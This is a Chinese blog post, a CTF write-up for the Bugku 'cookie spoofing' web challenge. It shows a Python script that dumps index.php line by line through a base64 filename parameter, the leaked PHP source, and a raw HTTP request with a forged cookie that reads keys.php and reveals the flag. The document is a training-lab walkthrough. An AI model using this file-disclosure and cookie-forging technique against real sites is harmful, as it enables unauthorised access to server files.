

【bugku】cookies欺骗 writeup

原创

[peryc](#) 于 2018-02-27 09:20:28 发布 2804 收藏

分类专栏: [ctf](#) 文章标签: [ctf](#) [网络安全](#) [bugku](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_19861715/article/details/79383680

版权



[ctf](#) 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

看到url上的参数有base64, 解码发现是keys.txt

把改参数换成index.php, 观察发现line按行返回

所以自己练练手写了个脚本跑出来

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)
```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

获得源码

```

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

```

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

构造cookie margin=margin 然后读keys.php即可

```

GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1
Host: 120.24.86.145:8002
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap
ng,*/*;q=0.8
Referer: http://123.206.31.85/challenges
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: margin=margin
Connection: close

```

```

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 28 Oct 2017 02:23:44 GMT
Content-Type: text/html
Connection: close
Content-Length: 30

```

```
<?php $key='KEY(key_keys)'; ?>
```

http://blog.csdn.net/csu_vc